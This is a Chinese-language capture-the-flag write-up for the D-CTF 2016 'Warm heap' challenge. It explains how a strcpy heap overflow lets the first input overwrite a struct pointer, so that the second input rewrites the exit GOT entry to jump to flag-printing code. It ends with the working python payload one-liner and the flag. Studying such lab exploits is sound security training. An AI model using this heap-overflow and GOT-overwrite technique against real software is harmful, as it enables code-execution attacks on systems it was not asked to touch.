D-CTF Quals 2016 - Warm heap

原文地址:https://thegoonies.rocks/d-ctf-quals-2016-warm-heap-exploit/
文件下载地址:https://github.com/BBS-Bill-Gates/2016-CTF-WriteUp
checksec:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

可以看到CANARY没开,可是分析源程序可以这个没什么用,这个不是栈溢出,而是一个堆溢出.
何为堆?何为栈?
答:堆是动态分配内存,栈是静态分配内存.举个最常用的例子就是.数组和mallc.数组是静态分配的,一旦分配其大小就不能改变了.而经malloc分配的大小是可以改变的,于是就有了realloc函数.
IDA PRO后的main函数:

struct foo {
    int64 count;
    void* ptr;
};

struct foo* a = malloc(16); // rbp-0x1020
a.count = 1;
a.ptr = malloc(8);
struct foo* b = malloc(16); // rbp-0x1018
b.count = 2;
b.ptr = malloc(8);
char buf[0x1000];
fgets(buf, 0x1000, stdin);
strcpy(a.ptr, buf);
fgets(buf, 0x1000, stdin);
strcpy(b.ptr, buf);
exit();

分配的堆大小为8,fget的大小可以为0x1000,明显有猫腻.
接下来接着分析a,b两个结构体之后,fget之前内存中的分布:

0x601ff0:   0x0000000000000000  0x0000000000000000
0x602000:   0x0000000000000000  0x0000000000000021
0x602010:   0x0000000000000001  0x0000000000602030
0x602020:   0x0000000000000000  0x0000000000000021
0x602030:   0x00000a6f6c6c6568  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000021
0x602050:   0x0000000000000002  0x0000000000602070
0x602060:   0x0000000000000000  0x0000000000000021
0x602070:   0x0000000000000000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000411
0x602090:   0x00000a6f6c6c6568  0x0000000000000000
0x6020a0:   0x0000000000000000  0x0000000000000000
0x6020b0:   0x0000000000000000  0x0000000000000000
0x6020c0:   0x0000000000000000  0x0000000000000000
0x6020d0:   0x0000000000000000  0x0000000000000000
&a.count=0x602010
&a.ptr  =0x602030
&a.count=0x602050
&a.ptr  =0x602070
strcpy(a.ptr, buf);//将buf中的内容赋给a.ptr
当strcpy(b.ptr, buf);时,程序会取得0x602058处的地址0x0000000000602070,然后将buf中的内容赋给0x0000000000602070处

由于第一次strcpy的长度大于malloc申请的长度,我有就有可能复写0x602058处的地址,修改0x00602070.
接下来的思路就是:
第一次输入:通过输入过长的内容,将0x602058处的内容修改为一个exit的got值(0x601068).
第二次输入:输入0x400826(输出flag值的汇编代码段)
观察上面贴出来的内存段,发现0x602058与0x602030相差0x28=40,
所以第一次输入的内容就为:

"A"*40+"\x68\x10\x60\x00\x00\x00\x00\x00"

第二次输入:

"\x26\x08\x40"

总结下来:

python -c 'print "A"*40+"\x68\x10\x60\x00\x00\x00\x00\x00"+"\n"+"\x26\x08\x40"'

结果:DCTF{b94c21ff7531cba35a498cb074918b3e}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值